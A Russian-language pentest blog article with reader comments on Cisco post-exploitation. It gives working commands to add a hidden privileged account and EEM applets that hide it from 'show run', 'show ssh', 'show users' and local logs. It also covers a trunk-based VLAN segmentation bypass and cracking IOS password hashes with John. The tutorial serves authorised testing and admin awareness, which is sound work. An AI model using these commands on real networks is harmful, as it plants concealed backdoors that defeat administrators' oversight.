Всем привет, я @necreas1ng и я являюсь исследователем сетевой безопасности, сетевым инженером и специалистом по тестированию на проникновение. В этой небольшой статье ты узнаешь как происходит процесс пост-эксплуатации взломанного оборудования Cisco. Покажу несколько трюков, которые, возможно, подарят тебе импакт во время проведения пентеста.
Intro (Disclaimer)
Данная статья предназначена для специалистов по безопасности, которые проводят тестирование на проникновение в рамках согласованного контракта. Разрушение и взлом чужих компьютерных сетей преследуются по закону. Будь осторожен.
Играем в прятки, используя Cisco EEM
Cisco EEM - это небольшой, скажем так, "язык программирования" с помощью которого можно писать различные сценарии для Cisco IOS, автоматизировать рутинные задачи. В рамках тестирования на проникновения, EEM поможет нам спрятать созданного нами пользователя на взломанном устройстве.
Но! У такого метода есть и свои недостатки, такие как:
Есть N-ая вероятность спалиться в логах сервера SYSLOG.
Есть N-ая вероятность спалиться в логах сервера SNMP.
Если сетевой инженер тоже использует Cisco EEM, он может заподозрить что-то не ладное.
Сначала нам нужно создать самого пользователя, который будет использоваться для закрепления на оборудовании. Соблюдай, чтобы префикс "hidden_" тоже был у ника, создаваемого тобою пользователя. С помощью данного префикса мы и будем прятать созданного нами пользователя по маске " | hidden ":
Owned(config)# username hidden_papercut privilege 15 secret tellmeyouloveme
Прячем пользователя из вывода команды "show run"
Данная команда очень часто используется сетевыми инженерами, она выводит конфигурацию устройства, которая используется в данный момент времени.
Owned(config)# event manager applet hide_from_showrun
Owned(config-applet)# event cli pattern "show run" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command “show run | exclude hidden | event | action”
Owned(config-applet)# action 2.0 puts “$_cli_result_showrunapplet”
Прячем пользователя из вывода команды "show ssh"
Данная команда выводит активных на данный момент пользователей, подключенных через SSH.
Owned(config)# event manager applet hide_from_showssh
Owned(config-applet)# event cli pattern "show ssh" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command “show ssh | exclude hidden”
Owned(config-applet)# action 2.0 puts “$_cli_result_showsshapplet”
Прячем пользователя из вывода команды "show users"
Данная команда выводит активных на данный момент пользователей, подключенных через VTY. Обычно это удаленные Telnet/SSH-сессии.
Owned(config)# event manager applet hide_from_showusers
Owned(config-applet)# event cli pattern "show users" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command “show users | exclude hidden”
Owned(config-applet)# action 2.0 puts “$_cli_result_showusersapplet”
Прячем пользователя из локального логирования Cisco IOS
Owned(config)# event manager applet hide_from_showlog
Owned(config-applet)# event cli pattern "show log" sync yes
Owned(config-applet)# action 0.0 cli command "enable"
Owned(config-applet)# action 1.0 cli command “show log | exclude HA_EM | hidden”
Owned(config-applet)# action 2.0 puts “$_cli_result_showlogapplet”
С апплетами EEM можно экспериментировать, не ограничивайся только данными способами.
Lateral VLAN Segmentation Bypass
Если ты получил доступ к коммутатору, к которому ты подключен напрямую - у тебя появляется возможность обхода VLAN-сегментации внутри сети. Достаточно переключить порт в режим магистрального канала (иначе говоря, Trunk), создать виртуальные интерфейсы с идентификаторами целевых VLAN-сетей и настроить IP-адрес. Можно попробовать запросить адрес динамически (DHCP), а можно настроить статически.
Сначала нужно выяснить, к какому именно порту ты подключен. Это можно выяснить либо через CDP-сообщения, либо поискать порт по маске "include":
Если вдруг CDP отключен, можно попробовать поискать порт по нашему MAC-адресу.
SW1(config)# show mac address-table | include 0050.0000.0500
Перед тем как переключиться в транк, необходимо перечислить существующие сети VLAN, выяснить их идентификаторы. Потом эти идентификаторы мы будем вешать на свой интерфейс, чтобы получать доступ к этим сетям VLAN. Таким образом, благодаря транку, мы можем получить доступ в любую сеть VLAN.
SW1# show vlan brief
Кстати говоря, порт, к которому мы подключены - принадлежит сети VLAN 10.
Приступим. Входим в режим конфигурации интерфейса и переходим в транковый режим.
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
Во время переключения в режим магистрального канала теряется связность. Но скоро мы это исправим.
Создаем виртуальные интерфейсы и "вешаем" на них VLAN ID:
necreas1ng@Inguz:~$ sudo vconfig add eth0 10
necreas1ng@Inguz:~$ sudo vconfig add eth0 20
necreas1ng@Inguz:~$ sudo vconfig add eth0 50
necreas1ng@Inguz:~$ sudo vconfig add eth0 60
Поднимаем интерфейсы:
necreas1ng@Inguz:~$ sudo ifconfig eth0.10 up
necreas1ng@Inguz:~$ sudo ifconfig eth0.20 up
necreas1ng@Inguz:~$ sudo ifconfig eth0.50 up
necreas1ng@Inguz:~$ sudo ifconfig eth0.60 up
Теперь нужно запросить адрес по DHCP. Но если в твоем случае не будет такой возможности, то можно и статически настроить адрес.
necreas1ng@Inguz:~$ sudo dhclient -v eth0.10
necreas1ng@Inguz:~$ sudo dhclient -v eth0.20
necreas1ng@Inguz:~$ sudo dhclient -v eth0.50
necreas1ng@Inguz:~$ sudo dhclient -v eth0.60
Пример настройки статического IP-адреса на интерфейсе (VLAN 10):
necreas1ng@Inguz:~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
Для проверки связи инициирую ICMP-запросы до шлюзов по умолчанию для сетей VLAN 10, 20, 50, 60
В итоге, я обошел VLAN-сегментацию и могу пробиться в любую VLAN-сеть, что развязывает мне руки для дальнейших "наступательных" действий.
Bruteforce hashes
Когда ты перечисляешь конфигурацию устройства, есть смысл попытаться сбрутить хеши паролей. Вдруг тебе удастся сбрутить хеш пароля той учетной записи, которая имеет максимальные привилегии. В Cisco IOS есть несколько типов паролей, которые находятся в зашифрованном виде. Табличка ниже сориентирует тебя по типам хешей, как брутить и сколько времени понадобится.
Теперь приступим к самому брутфорсу. В выводе команды "show run" ты наверняка наткнешься на эти строчки:
Брутфорс хешей я проведу через утилиту John. Немного отформатирую хеши, чтобы John смог распознать сами хеши внутри файла, который мы будем подавать в качестве входных данных.
Начинаем сам брутфорс. С помощью ключа --wordlist указываем путь до словаря. John сам определит тип хешей внутри файла.
Попробуем зайти на маршрутизатор под адресом 10.10.10.100 с кредами пользователя lies:
Configuration Enumeration
Классическое перечисление конфигурации
С помощью команды show run можно выяснить, какая конфигурация исполняется в данный момент времени. Это раскрывает некоторые особенности инфраструктуры, возможно, данная информация приведет тебя к более легкой "победе" во время пентеста. Например, вдруг ты обнаружишь использование AAA-сервера, что дает ещё один вектор атаки (для абьюзинга RADIUS/TACACS).
Owned# show run
Cisco IOS ver.
Будет полезно узнать версию Cisco IOS на устройстве. С помощью данной информации, пентестер сможет перечислить версию Cisco IOS на предмет наличия той или иной уязвимости. Вдруг он попал на роутер с read-only учеткой, а потенциальное наличие уязвимости даст ему LPE, черт его знает...
Owned# show version
CCAT
CCAT (Cisco Config Analysis Tool) - это специальная утилита, созданная для анализа файлов конфигурации оборудования Cisco на наличие брешей в безопасности. Она поможет автоматизировать процесс поиска мисконфигураций безопасности, данная утилита будет полезна как пентестерам, так и сетевым администраторам.
Outro
В рамках данной статьи я поделился небольшими трюками, которые помогут облегчить жизнь пентестеру. Но думаю, моя статья также подарит сетевым администраторам некоторую осведомленность, с помощью которой они смогут повысить уровень безопасности своего оборудования.
Комментарии (6)
cherv2
16.07.2022 14:03-1почему ubuntu 18 не подключается по вай фай? А вообще я вам сочувствую, сетевики
UncleSam27
16.07.2022 21:23Не осуществимо в нормальной сети. Для всего этого во первых нужен физический доступ к интерфейсу в котором находится mgmt интерфейс оборудования. Во вторых уже нужно иметь админский пароль пользователя железки. Я конечно понимаю, что есть сети в которых админы не заморачиваются разделением трафика пользователя и трафика управления, а также не используют tacacs+, зато пользуются паролями типа Cisco или P@ssw0rd, но они сами себе злобные буратины.
Necreas1ng Автор
16.07.2022 21:29Привет. В методе про "VLAN Segmentation Bypass" я указал, что необходим физический доступ. Да mgmt-конфигурации по умолчанию на устройстве нет, но тем не менее. Да и физический доступ нужен только для обхода VLAN-сегментации, как я и указал.
"Иметь админский пароль", да, чтобы изменять конфигурацию на устройстве необходимы права администратора. Предполагается, что пентестер сможет выполнить эксфильтрацию конфигурации либо через SNMP, либо через эксплуатацию CSI. А там можно прочесть хеши паролей, которые принадлежат учетным записям с повышенными правами.
Статья не претендует на гайд 100% успешного процесса пост-эксплуатации, ибо в грамотно построенных и защищенных сетях, процесс пост-эксплуатации может уйти в никуда. Но для таких частных случаев, где у сетевиков лапки вместе рук, гайд может быть полезен. Да и как показывает практика, мало кто соблюдает "лучшие практики" безопасности в локальных сетях, чем и расплачиваются компрометацией сетей.
Спасибо тебе за feed back :)
Demm21
Обычно же доступ только из закрытой mgmt сети. Если настроена сегментация, то и mgmt настроен. Ps или толь я так делаю?
Dvlbug
Может Джеймс Бонд спрятал под потолком RaspberryPi с модемом подключив к локалке
Necreas1ng Автор
Привет. Ты описал "best practices" для безопасности локальной сети и ты молодец, что настраиваешь так оборудование. Вот только мало кто парится над этим, и в большинстве случаев, в продакшне очень много мисконфигураций с точки зрения безопасности. Что и открывает дорогу для эксплуатации.